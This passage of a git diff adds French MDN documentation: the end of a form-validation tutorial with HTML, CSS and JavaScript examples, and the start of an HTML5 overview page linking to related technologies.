+<h5 id="JavaScript">JavaScript</h5>
+
+<p>Le code JavaScript suivant gère la validation personnalisée des erreurs.</p>
+
+<pre class="brush: js">// Il y a plusieurs façon de sélectionner un nœud DOM ; ici on récupère
+// le formulaire et le champ d'e-mail ainsi que l'élément span
+// dans lequel on placera le message d'erreur
+
+var form  = document.getElementsByTagName('form')[0];
+var email = document.getElementById('mail');
+var error = document.querySelector('.error');
+
+email.addEventListener("input", function (event) {
+  // Chaque fois que l'utilisateur saisit quelque chose
+  // on vérifie la validité du champ e-mail.
+  if (email.validity.valid) {
+    // S'il y a un message d'erreur affiché et que le champ
+    // est valide, on retire l'erreur
+    error.innerHTML = ""; // On réinitialise le contenu
+    error.className = "error"; // On réinitialise l'état visuel du message
+  }
+}, false);
+form.addEventListener("submit", function (event) {
+  // Chaque fois que l'utilisateur tente d'envoyer les données
+  // on vérifie que le champ email est valide.
+  if (!email.validity.valid) {
+
+    // S'il est invalide, on affiche un message d'erreur personnalisé
+    error.innerHTML = "J'attends une adresse e-mail correcte, mon cher !";
+    error.className = "error active";
+    // Et on empêche l'envoi des données du formulaire
+    event.preventDefault();
+  }
+}, false);</pre>
+
+<p>Voici le résultat:</p>
+
+<p>{{EmbedLiveSample("Exemple_d'utilisation_de_l'API_de_validation_des_contraintes", "100%", 130)}}</p>
+
+<p>L'API de validation des contraintes fournit un outil puissant pour gérer la validation des formulaires, en vous laissant un contrôle sur l'interface utilisateur bien supérieur à ce que vous auriez pu avoir avec uniquement HTML et CSS. </p>
+
+<h3 id="Valider_des_formulaires_sans_API_intégrée">Valider des formulaires sans API intégrée</h3>
+
+<p>Il arrive parfois, comme c'est le cas avec des navigateurs anciens ou de <a href="/fr/docs/HTML/Forms/How_to_build_custom_form_widgets">widgets personnalisés</a>, de ne pas pouvoir (ou vouloir) utiliser l'API de validation des contraintes. Dans ce cas, vous pourrez toujours utiliser JavaScript pour valider votre formulaire. Valider un formulaire est plus une question d'interface utilisateur que de réelle validation des données.</p>
+
+<p>Pour valider un formulaire, vous devez vous poser un certain nombre de questions:</p>
+
+<dl>
+ <dt>Quel type de validation dois-je réaliser ?</dt>
+ <dd>Vous devez déterminer comment valider vos données : opération sur des chaînes de caractères, conversion de type, expressions rationnelles, etc. C'est comme vous voulez. Mais retenez simplement que les données de formulaire sont toujours du texte et sont toujours fournies à vos scripts sous forme de chaînes de caractères.</dd>
+ <dt>Que dois-je faire si le formulaire n'est pas valide ?</dt>
+ <dd>C'est clairement une affaire d'interface utilisateur. Vous devez décider comment le formulaire doit se comporter : enverra-t-il quand même les données ? Devriez-vous mettre en évidence les champs qui sont en erreur ? Devriez-vous afficher des messages d'erreur ?</dd>
+ <dt>Comment puis-je aider l'utilisateur à corriger ses données invalides?</dt>
+ <dd>Pour limiter la frustration de l'utilisateur, il est très important de fournir autant d'information d'aide que nécessaire pour le guider dans la correction de sa saisie. Vous devriez afficher des suggestions en amont pour que l'utilisateur sache ce qui est attendu, ainsi que des messages d'erreur clairs. Si vous souhaitez vous plonger dans les exigences d'interface utilsateur pour la validation de formulaires, voici quelques articles (en anglais) utiles que vous devriez lire :</dd>
+ <dd>
+ <ul>
+  <li>SmashingMagazine : <a href="http://uxdesign.smashingmagazine.com/2012/06/27/form-field-validation-errors-only-approach/" rel="external" title="http://uxdesign.smashingmagazine.com/2012/06/27/form-field-validation-errors-only-approach/">Form-Field Validation: The Errors-Only Approach</a></li>
+  <li>SmashingMagazine : <a href="http://www.smashingmagazine.com/2009/07/07/web-form-validation-best-practices-and-tutorials/" rel="external" title="http://www.smashingmagazine.com/2009/07/07/web-form-validation-best-practices-and-tutorials/">Web Form Validation: Best Practices and Tutorials</a></li>
+  <li>Six Revision : <a href="http://sixrevisions.com/user-interface/best-practices-for-hints-and-validation-in-web-forms/" rel="external" title="http://sixrevisions.com/user-interface/best-practices-for-hints-and-validation-in-web-forms/">Best Practices for Hints and Validation in Web Forms</a></li>
+  <li>A List Apart : <a href="http://www.alistapart.com/articles/inline-validation-in-web-forms/" rel="external" title="http://www.alistapart.com/articles/inline-validation-in-web-forms/">Inline Validation in Web Forms</a></li>
+ </ul>
+ </dd>
+</dl>
+
+<h4 id="Exemple_qui_n'utilise_pas_l'API_de_validation_des_contraintes">Exemple qui n'utilise pas l'API de validation des contraintes</h4>
+
+<p>Afin d'illustrer le propos, réécrivons le précédent exemple afin qu'il fonctionne avec d'anciens navigateurs:</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;p&gt;
+    &lt;label for="mail"&gt;
+        &lt;span&gt;Veuillez saisir une adresse e-mail :&lt;/span&gt;
+        &lt;input type="text" class="mail" id="mail" name="mail"&gt;
+        &lt;span class="error" aria-live="polite"&gt;&lt;/span&gt;
+    &lt;/label&gt;
+  &lt;p&gt;
+  &lt;!-- Certains navigateurs historiques ont besoin de l'attribut
+       `type` avec la valeur `submit` sur l'élément `button` --&gt;
+  &lt;button type="submit"&gt;Envoyer&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>Comme vous pouvez voir, le HTML est quasiment identique; nous avons juste enlevé les fonctionnalités de validation HTML. Notez que <a href="/en-US/docs/Accessibility/ARIA" title="/en-US/docs/Accessibility/ARIA">ARIA</a> est une spécification indépendante qui n'est pas spécifiquement liée à HTML5.</p>
+
+<h5 id="CSS_2">CSS</h5>
+
+<p>De même, nous n'avons pas eu à changer radicalement les CSS ; nous avons simplement transformé la pseudo-classe {{cssxref(":invalid")}} en une vraie classe et évité d'utiliser le sélecteur d'attribut, qui ne fonctionne pas avec Internet Explorer 6.</p>
+
+<pre class="brush: css">/* On améliore l'aspect de l'exemple avec ces quelques règles */
+body {
+  font: 1em sans-serif;
+  padding: 0;
+  margin : 0;
+}
+
+form {
+  max-width: 200px;
+}
+
+p * {
+  display: block;
+}
+
+input.mail {
+  -webkit-appearance: none;
+
+  width: 100%;
+  border: 1px solid #333;
+  margin: 0;
+
+  font-family: inherit;
+  font-size: 90%;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+/* Voici les règles de mise en forme pour les champs invalides */
+input.invalid{
+  border-color: #900;
+  background-color: #FDD;
+}
+
+input:focus.invalid {
+  outline: none;
+}
+
+/* Voici les règles utilisées pour les messages d'erreur */
+.error {
+  width  : 100%;
+  padding: 0;
+
+  font-size: 80%;
+  color: white;
+  background-color: #900;
+  border-radius: 0 0 5px 5px;
+
+  -moz-box-sizing: border-box;
+  box-sizing: border-box;
+}
+
+.error.active {
+  padding: 0.3em;
+}</pre>
+
+<h5 id="JavaScript_2">JavaScript</h5>
+
+<p>Les changements les plus importants sont dans le code JavaScript, qui nécessite bien plus que de simples retouches.</p>
+
+<pre class="brush: js">// Il existe moins de méthode pour sélectionner un nœud DOM
+// avec les navigateurs historiques
+var form  = document.getElementsByTagName('form')[0];
+var email = document.getElementById('mail');
+
+// Ce qui suit est une bidouille pour atteindre le prochain nœud Element dans le DOM
+// Attention à cette méthode, elle peut permettre de construire une boucle
+// infinie. Pour les navigateurs plus récents, on utilisera element.nextElementSibling
+var error = email;
+while ((error = error.nextSibling).nodeType != 1);
+
+// Pour respecter la spécification HTML5
+var emailRegExp = /^[a-zA-Z0-9.!#$%&amp;'*+/=?^_`{|}~-]+@[a-zA-Z0-9-]+(?:\.[a-zA-Z0-9-]+)*$/;
+
+// De nombreux navigateurs historiques ne supportent pas la méthode
+// addEventListener. Voici une méthode simple (il en existe d'autres)
+function addEvent(element, event, callback) {
+  var previousEventCallBack = element["on"+event];
+  element["on"+event] = function (e) {
+    var output = callback(e);
+
+    // Une fonction de rappel (callback) qui renvoie `false`
+    // pour arrêter la chaîne des callback
+    // et interrompre l'exécution du callback d'événement.
+    if (output === false) return false;
+
+    if (typeof previousEventCallBack === 'function') {
+      output = previousEventCallBack(e);
+      if(output === false) return false;
+    }
+  }
+};
+
+// On peut désormais reconstruire notre validation de contrainte
+// Étant donné qu'on n'utilise pas la pseudo-classe CSS, il faut
+// explicitement gérer la classe valid/invalid du champ e-mail
+addEvent(window, "load", function () {
+  // Ici, on teste si le champ est vide (rappel : le champ n'est pas obligatoire)
+  // S'il ne l'est pas, on vérifie que son contenu est une adresse e-mail valide.
+  var test = email.value.length === 0 || emailRegExp.test(email.value);
+
+  email.className = test ? "valid" : "invalid";
+});
+
+// Ici, on définit ce qui se passe lorsque l'utilisateur
+// saisit quelque chose dans le champ
+addEvent(email, "keyup", function () {
+  var test = email.value.length === 0 || emailRegExp.test(email.value);
+  if (test) {
+    email.className = "valid";
+    error.innerHTML = "";
+    error.className = "error";
+  } else {
+    email.className = "invalid";
+  }
+});
+
+// Ici, on définit ce qui se passe lorsque l'utilisateur
+// tente d'envoyer les données du formulaire
+addEvent(form, "submit", function () {
+  var test = email.value.length === 0 || emailRegExp.test(email.value);
+
+  if (!test) {
+    email.className = "invalid";
+    error.innerHTML = "Merci d'écrire une adresse e-mail valide.";
+    error.className = "error active";
+
+    // Certains navigateurs historiques ne supportent pas
+    // la méthode event.reventDefault()
+    return false;
+  } else {
+    email.className = "valid";
+    error.innerHTML = "";
+    error.className = "error";
+  }
+});</pre>
+
+<p>Voici le résultat:</p>
+
+<p>{{EmbedLiveSample("Exemple_qui_n'utilise_pas_l'API_de_validation_des_contraintes", "100%", 130)}}</p>
+
+<p>Comme vous avez pu le voir, il n'est pas si difficile de créer par soi-même un système de validation. La difficulté consiste à rendre le tout assez générique pour l'utiliser à la fois sur toutes les plateformes et pour chaque formulaire que vous pourriez créer. Il existe de nombreuses bibliothèques permettant ce genre de validation de formulaire ; n'hésitez pas à les utiliser. En voici quelques exemples :</p>
+
+<ul>
+ <li>Bibliothèques indépendantes :
+  <ul>
+   <li><a href="http://rickharrison.github.com/validate.js/" rel="external" title="http://rickharrison.github.com/validate.js/">Validate.js</a></li>
+  </ul>
+ </li>
+ <li>Greffons jQuery :
+  <ul>
+   <li><a href="http://bassistance.de/jquery-plugins/jquery-plugin-validation/" rel="external" title="http://bassistance.de/jquery-plugins/jquery-plugin-validation/">Validation</a><span style="display: none;"> </span></li>
+  </ul>
+ </li>
+</ul>
+
+<h4 id="Validation_à_distance">Validation à distance</h4>
+
+<p>Il peut être utile, dans certains cas, d'effectuer une validation à distance. Ce genre de validation est nécessaire lorsque les données saisies par l'utilisateur sont liées à des données supplémentaires stockées sur le serveur hébergeant votre application. Prenons par exemple les formulaires d'inscription, pour lesquels on vous demande un nom d'utilisateur. Pour éviter toute duplication d'un nom d'utilisateur, il est plus judicieux d'effectuer une requête AJAX pour vérifier la disponibilté du nom d'utilisateur que de demander à envoyer les données saisies et de renvoyer le formulaire avec une erreur.</p>
+
+<p>Pour réaliser une telle validation, plusieurs précautions doivent être prises :</p>
+
+<ul>
+ <li>Il est nécessaire d'exposer une API et des données ; assurez-vous que ces données ne soient pas critiques.</li>
+ <li>Un décalage (<em>lag</em>) du réseau nécessite une validtion asynchrone. L'interface utilisateur doit être conçue de façon à pas être bloquée si cette validation n'est pas réalisée correctement.</li>
+</ul>
+
+<h2 id="Conclusion">Conclusion</h2>
+
+<p>La validation d'un formulaire ne requiert pas de code JavaScript complexe, mais il est nécessaire de penser tout particulièrement à l'utilisateur. Rappelez-vous de toujours aider l'utilisateur à corriger les données qu'il saisit. Pour ce faire, assurez-vous de toujours :</p>
+
+<ul>
+ <li>Afficher des messages d'erreur explicites.</li>
+ <li>Être tolérant sur le format des données à envoyer.</li>
+ <li>Indiquer exactement où est l'erreur (en particulier pour les formulaires longs).</li>
+</ul>
+
+<p>{{PreviousMenuNext("Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires", "Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés", "Web/Guide/HTML/Formulaires")}}</p>
+
+<h2 id="Dans_ce_module">Dans ce module</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML">Mon premier formulaire HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML"><span>Comment structurer un formulaire HTML</span></a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a></li>
+</ul>
diff --git a/files/fr/web/guide/html/html5/index.html b/files/fr/web/guide/html/html5/index.html
new file mode 100644
index 0000000000..02f73932c6
--- /dev/null
+++ b/files/fr/web/guide/html/html5/index.html
@@ -0,0 +1,167 @@
+---
+title: HTML5
+slug: Web/Guide/HTML/HTML5
+tags:
+  - HTML
+  - HTML5
+translation_of: Web/Guide/HTML/HTML5
+---
+<p><strong>HTML5</strong> est la dernière évolution des standards qui définissent <a href="/fr/docs/HTML" title="/fr/docs/HTML">HTML</a>. Le terme HTML5 regroupe deux concepts différents :</p>
+
+<p>Il s'agit de la nouvelle version du <em>langage</em> HTML, avec de nouveaux éléments, attributs et comportements ; mais aussi un ensemble plus large de technologies qui permettent des sites web plus variés et puissants, et des applications web. Cet ensemble est parfois appelé <em>HTML5 &amp; Cie</em> et est souvent juste abrégé en <em>HTML5</em>.</p>
+
+<p>Conçue pour être utilisable par tous les développeurs de l'Open Web, cette page de référence fait le lien vers de nombreuses ressources sur les technologies HTML5 classées dans différents groupes suivant leur(s) fonction(s).</p>
+
+<ul>
+ <li><em>Sémantique</em> : permet de décrire plus précisément votre contenu.</li>
+ <li><em>Connectivité</em> : permet de communiquer avec le serveur d'une façon nouvelle et innovante.</li>
+ <li><em>Hors-connexion &amp; stockage</em> : permet aux pages web de stocker des données en local, côté client, et de fonctionner plus efficacement hors-connexion.</li>
+ <li><em>Multimédia</em> : rendre la vidéo et l'audio des citoyens de premier plan sur l'Open Web</li>
+ <li><em>Rendu 2D/3D et effets</em> : permet des options de présentation bien plus variées.</li>
+ <li><em>Performance &amp; intégration</em> : offre une puissance bien plus grande et une meilleure utilisation du matériel de l'ordinateur.</li>
+ <li><em>Accès aux périphériques</em> : permet un usage de périphériques d'entrée et de sortie variés.</li>
+ <li><em>Style</em> : permet aux auteurs d'écrire des thèmes plus sophistiqués.</li>
+</ul>
+
+<div class="cleared row topicpage-table">
+<div class="section">
+<h2 id="Sémantique" style='margin: 0px 0px 0.25em; font: 200 24px/1 "Bebas Neue", "League Gothic", Haettenschweiler, "Arial Narrow", sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;'><img alt="" src="/files/3827/HTML5_Semantics_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Sémantique</h2>
+
+<dl>
+ <dt><a href="/fr/HTML/Introduction_à_HTML5" title="fr/HTML/Introduction à HTML5"><strong>Introduction à HTML5</strong></a></dt>
+ <dd>Cet article vous présente la manière d'utiliser HTML5 dans vos conceptions de sites et d'applications web.</dd>
+ <dt><a href="/fr/docs/HTML/Sections_and_Outlines_of_an_HTML5_document" title="/fr/docs/HTML/Sections_and_Outlines_of_an_HTML5_document">Sections et structure des documents avec HTML5</a></dt>
+ <dd>Un aperçu de la nouvelle organisation des documents avec les nouveaux éléments de section en HTML5 : {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("nav")}}, {{HTMLElement("header")}}, {{HTMLElement("footer")}}, {{HTMLElement("aside")}} et {{HTMLElement("hgroup")}}.</dd>
+ <dt><a href="/fr/docs/Utilisation_d'audio_et_video_dans_Firefox" title="/fr/docs/Utilisation_d'audio_et_video_dans_Firefox">Utilisation de l'audio et de la video en HTML5</a></dt>
+ <dd>Les éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}} en HTML5 permettent d'insérer et de manipuler dans vos pages de nouveaux contenus multimédias.</dd>
+ <dt><a href="/en-US/docs/HTML/Forms_in_HTML" title="/en-US/docs/HTML/Forms_in_HTML">Formulaires en HTML5</a></dt>
+ <dd>Un aperçu des améliorations apportées aux formulaires en HTML5 : l'API de validation, de nouveaux attributs, de nouvelles valeurs pour l'attribut {{htmlattrxref("type", "input")}} de {{HTMLElement("input")}} et le nouvel élément {{HTMLElement("output")}}.</dd>
+</dl>
+
+<dl>
+ <dt><a href="/fr/HTML/HTML5/Liste_des_éléments_HTML5" title="fr"><strong>Nouveaux éléments d'HTML5</strong></a></dt>
+ <dd>En plus des éléments de sections, de média et de formulaires, HTML5 ajoute de nombreux nouveaux éléments, comme {{HTMLElement("mark")}}, {{HTMLElement("figure")}}, {{HTMLElement("figcaption")}}, {{HTMLElement("data")}}, {{HTMLElement("time")}}, {{HTMLElement("output")}}, {{HTMLElement("progress")}}, ou encore {{HTMLElement("meter")}}.</dd>
+ <dt>Amélioration de {{HTMLElement("iframe")}}</dt>
+ <dd>En utilisant les attributs {{htmlattrxref("sandbox", "iframe")}}, {{htmlattrxref("seamless", "iframe")}}, et {{htmlattrxref("srcdoc", "iframe")}}, les auteurs peuvent contrôler plus finement la sécurité et l'affichage de l'élément {{HTMLElement("iframe")}}.</dd>
+ <dt><a href="/en-US/docs/MathML" title="/en-US/docs/MathML">MathML</a></dt>
+ <dd>Permet d'insérer des formules mathématiques directement dans les pages web.</dd>
+ <dt><a href="/en-US/docs/HTML/HTML5/HTML5_Parser" title="/en-US/docs/HTML/HTML5/HTML5_Parser">Parseur conforme à HTML5</a></dt>
+ <dd>Le parseur, qui transforme les octets d'un document HTML en un DOM, a été étendu, et défini maintenant précisément le comportement à utiliser dans les différentes situations, même confronté à du code HTML incorrecte. Ceci lui permet d'être bien plus prévisible et interopérable avec les différents moteurs de navigateur.</dd>
+</dl>
+
+<h2 id="Connectivité" style='margin: 0px 0px 0.25em; font: 200 24px/1 "Bebas Neue", "League Gothic", Haettenschweiler, "Arial Narrow", sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;'><img alt="" src="/files/3839/HTML5_Connectivity_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Connectivité</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/WebSockets" title="/en-US/docs/WebSockets">Web Sockets</a></dt>
+ <dd>Permet de créer une connexion permanente entre la page et le serveur, et de cette façon échanger des données non-HTML.</dd>
+ <dt><a href="/en-US/docs/Server-sent_events/Using_server-sent_events" title="/en-US/docs/Server-sent_events/Using_server-sent_events">Évènements envoyés par le serveur</a></dt>
+ <dd>Permet à un serveur d'envoyer des évènements au client, au lieu du comportement habituel selon lequel le serveur ne peut envoyer des données qu'en réponse à une demande effectuée par le client.</dd>
+ <dt><a href="/fr/docs/WebRTC" title="/fr/docs/WebRTC">WebRTC</a></dt>
+ <dd>RTC veut dire <em>Real-Time Communication</em> (Communication en Temps Réel). Cette technologie permet de connecter différentes personnes et de gérer de la visioconférence directement dans le navigateur, sans modules additionnels ou applications externes.</dd>
+</dl>
+
+<h2 id="Hors-connexion_et_Stockage" style='margin: 0px 0px 0.25em; font: 200 24px/1 "Bebas Neue", "League Gothic", Haettenschweiler, "Arial Narrow", sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;'><img alt="" src="/files/3833/HTML5_Offline_Storage_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Hors-connexion et Stockage</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Utiliser_Application_Cache" title="/fr/docs/Utiliser_Application_Cache">Ressources hors connexion : l'Application Cache</a></dt>
+ <dd>Firefox gère complètement la spécification des ressources hors connexion de HTML5.</dd>
+ <dt><a href="/fr/docs/Évènements_online_et_offline" title="/fr/docs/Évènements_online_et_offline">Évènement online et offline</a></dt>
+ <dd>Firefox 3 gère les évènements online et offline du WHATWG, qui permettent aux applications web et aux extensions de détecter si une connexion à Internet est active ou non, ainsi que le moment où la connexion et la déconnexion se font.</dd>
+ <dt><a href="/fr/docs/DOM/Storage" title="fr/DOM/Storage">Stockage de session et persistance côté client du WHATWG (ou DOM Storage)</a></dt>
+ <dd>Le stockage de session et la persistance côté client permettent aux applications web de stocker des données structurées du côté du client.</dd>
+ <dt><a href="/fr/docs/IndexedDB" title="/fr/docs/IndexedDB">IndexedDB</a></dt>
+ <dd>Est un standard web pour stocker dans le navigateur des volumes importants de données structurées, et permettant d'effectuer des recherches rapides dans ces données en utilisant des index.</dd>
+ <dt><a href="/fr/docs/Using_files_from_web_applications" title="fr/Utilisation de fichiers depuis des applications web">Utilisation de fichiers depuis des applications web</a></dt>
+ <dd>La gestion de la nouvelle API File d'HTML5 a été ajoutée à Gecko, ce qui permet aux applications web d'accéder à des fichiers locaux sélectionnés par l'utilisateur. Cela comprend la sélection de plusieurs fichiers à l'aide du nouvel attribut {{htmlattrxref("multiple", "input")}} de l'élément HTML <span style="font-family: monospace;">{{HTMLElement("input")}}</span><code> </code>{{htmlattrxref("type", "input")}}<code>="file"</code>.</dd>
+</dl>
+
+<h2 id="Multimédia" style='margin: 0px 0px 0.25em; font: 200 24px/1 "Bebas Neue", "League Gothic", Haettenschweiler, "Arial Narrow", sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;'><img alt="" src="/files/3835/HTML5_Multimedia_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Multimédia</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Utilisation_d'audio_et_video_dans_Firefox" title="/fr/docs/Utilisation_d'audio_et_video_dans_Firefox">Utilisation de l'audio et de la video en HTML5</a></dt>
+ <dd>Les éléments {{HTMLElement("audio")}} et {{HTMLElement("video")}} en HTML5 permettent d'insérer et de manipuler dans les pages web de nouveaux contenus multimédia.</dd>
+ <dt><a href="/fr/docs/WebRTC" title="/fr/docs/WebRTC">WebRTC</a></dt>
+ <dd>RTC veut dire <em>Real-Time Communication</em> (Communication en Temps Réel). Cette technologie permet de connecter différentes personnes et de gérer de la visioconférence directement dans le navigateur, sans modules additionnels ou applications externes.</dd>
+ <dt><a href="/en-US/docs/DOM/Using_the_Camera_API" title="/en-US/docs/DOM/Using_the_Camera_API">Utiliser l'API Camera</a></dt>
+ <dd>Vous permet d'utiliser, manipuler et stocker une image depuis l'appareil photo ou webcam d'un ordinateur / téléphone.</dd>
+ <dt>Track et WebVTT</dt>
+ <dd>L'élément {{HTMLElement("track")}} permet de sous-titrer et de chapitrer. <a href="/en-US/docs/HTML/WebVTT" title="/en-US/docs/HTML/WebVTT">WebVTT</a> est un format pour marquer du texte par rapport à une durée.</dd>
+</dl>
+
+<h2 id="3D_Graphiques_et_Effets" style='margin: 0px 0px 0.25em; font: 200 24px/1 "Bebas Neue", "League Gothic", Haettenschweiler, "Arial Narrow", sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;'><img alt="" src="/files/3841/HTML5_3D_Effects_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">3D, Graphiques et Effets</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Tutoriel_canvas" title="/fr/docs/Tutoriel_canvas">Tutoriel Canvas</a></dt>
+ <dd>Découvrez le nouvel élément {{HTMLElement("canvas")}} et apprennez à dessiner des graphiques et autres objets dans Firefox.</dd>
+ <dt><a href="/fr/docs/Dessin_de_texte_avec_canvas" title="fr/Dessin de texte avec canvas">API de texte HTML5 pour les éléments <code>&lt;canvas&gt;</code></a></dt>
+ <dd>Les éléments {{HTMLElement("canvas")}} gèrent également l'API texte d'HTML5.</dd>
+ <dt><a href="/fr/docs/WebGL" title="/fr/docs/WebGL">WebGL</a></dt>
+ <dd>WebGL amène le monde de la 3D au Web, avec une API très proche de OpenGL ES 2.0, et peut-être utilisé dans les éléments {{HTMLElement("canvas")}}.</dd>
+ <dt><a href="/fr/docs/SVG" title="/fr/docs/SVG">SVG</a></dt>
+ <dd>Un format d'image vectoriel basé sur XML qui peut être inclus directement dans du HTML.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 id="Performance_et_Intégration" style='margin: 0px 0px 0.25em; font: 200 24px/1 "Bebas Neue", "League Gothic", Haettenschweiler, "Arial Narrow", sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;'><img alt="" src="/files/3831/HTML5_Performance_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Performance et Intégration</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/DOM/Using_web_workers" title="/en-US/docs/DOM/Using_web_workers">Web Workers</a></dt>
+ <dd>Permet de déléguer l'interprétation du JavaScript sur des fils en arrière plan, et évite ainsi le ralentissement des évènements d’intéraction.</dd>
+ <dt><code><a href="/fr/docs/XMLHttpRequest" title="/fr/docs/XMLHttpRequest">XMLHttpRequest</a> </code>Niveau 2</dt>
+ <dd>Permet de récupérer de manière asynchrone certaines parties d'une page. Ceci permet d'afficher du contenu dynamique, s'adaptant en fonction du temps et des actions de l'utilisateur. Il s'agit de la technologie derrière l'<a href="/fr/docs/AJAX" title="/fr/docs/AJAX">AJAX</a>.</dd>
+ <dt>Moteurs JavaScript à compilation JIT (juste à temps)</dt>
+ <dd>La nouvelle génération de moteurs JavaScript est bien plus puissante et permet de meilleures performances dans l'interprétation du langage.</dd>
+ <dt><a href="/fr/docs/DOM/manipuler_lhistorique_du_navigateur" title="/fr/docs/DOM/manipuler_lhistorique_du_navigateur">API Historique</a></dt>
+ <dd>Permet la manipulation de l'historique du navigateur. Ceci est particulièrement utile sur les pages qui chargent du contenu dynamiquement.</dd>
+ <dt><a href="/fr/docs/HTML/Contenu_editable" title="/fr/docs/HTML/Contenu_editable">L'attribut contentEditable : transformer un site web en un wiki !</a></dt>
+ <dd>HTML5 a standardisé l'attribut contentEditable : apprenez-en plus sur cette fonctionnalité.</dd>
+ <dt><a href="/fr/docs/DragDrop/Drag_and_Drop" title="https://developer.mozilla.org/Fr/DragDrop/Drag_and_Drop">Glisser et déposer</a></dt>
+ <dd>L'API de glisser et déposer HTML5 (drag and drop) permet de faire glisser des éléments au sein d'une page web. C'est aussi une API plus simple utilisable par les extensions et applications basées sur Mozilla.</dd>
+ <dt><a href="/fr/docs/Gestion_du_focus_en_HTML" title="fr/Gestion du focus en HTML">Gestion du focus en HTML</a></dt>
+ <dd>Les nouveaux attributs HTML5 <code>activeElement</code> et <code>hasFocus</code> sont gérés.</dd>
+ <dt><a href="/fr/docs/Gestionnaires_de_protocoles_web" title="fr/Gestionnaires de protocoles web">Gestionnaires de protocoles web</a></dt>
+ <dd>Il est à présent possible d'enregistrer des applications web en tant que gestionnaires de protocoles à l'aide de la méthode <code>navigator.registerProtocolHandler()</code>.</dd>
+ <dt><a href="/en-US/docs/DOM/window.requestAnimationFrame" title="/en-US/docs/DOM/window.requestAnimationFrame">requestAnimationFrame</a></dt>
+ <dd>Permet de contrôler le rendu des animations et ainsi d'obtenir une performance optimale.</dd>
+ <dt><a href="/en-US/docs/DOM/Using_fullscreen_mode" title="/en-US/docs/DOM/Using_fullscreen_mode">API Plein écran</a></dt>
+ <dd>Contrôle l'utilisation de la totalité de l'écran pour afficher une page ou une application web sans l'interface du navigateur</dd>
+ <dt><a href="/en-US/docs/WebAPI/Pointer_Lock" title="/en-US/docs/WebAPI/Pointer_Lock">API Verrouillage de la souris</a></dt>
+ <dd>Permet de verrouiller la souris sur le contenu, afin que les jeux ou les applications similaires ne perdent pas le focus lorsque la souris quitte la limite de la fenêtre.</dd>
+ <dt><a href="/fr/docs/Évènements_online_et_offline" title="/fr/docs/Évènements_online_et_offline">Évènement online et offline</a></dt>
+ <dd>Pour construire de bonnes applications web capables de fonctionner hors connexion, vous avez besoin de savoir quand votre application est déconnectée du réseau. Et forcément, vous avez aussi besoin de savoir quand votre application est de nouveau connectée au réseau.</dd>
+</dl>
+
+<h2 id="Accès_aux_périphériques" style='margin: 0px 0px 0.25em; font: 200 24px/1 "Bebas Neue", "League Gothic", Haettenschweiler, "Arial Narrow", sans-serif; letter-spacing: 1px; text-transform: uppercase; border: medium none;'><img alt="" src="/files/3837/HTML5_Device_Access_512.png" style="height: 64px; padding-right: 0.5em; vertical-align: middle; width: 64px;">Accès aux périphériques</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/DOM/Using_the_Camera_API" title="/en-US/docs/DOM/Using_the_Camera_API">Utiliser l'API Camera</a></dt>
+ <dd>Vous permet d'utiliser, manipuler et stocker une image depuis l'appareil photo ou webcam d'un ordinateur / téléphone.</dd>
+ <dt><a href="/en-US/docs/Web/Guide/Touch_events" title="/en-US/docs/Web/Guide/Touch_events">Évènements tactiles</a></dt>
+ <dd>Des gestionnaires pour réagir aux évènements créés par un utilisateur qui touche un écran tactile.</dd>
+ <dt><a href="/fr/docs/Using_geolocation" title="/fr/docs/Using_geolocation">Utilisation de la Geolocalisation</a></dt>
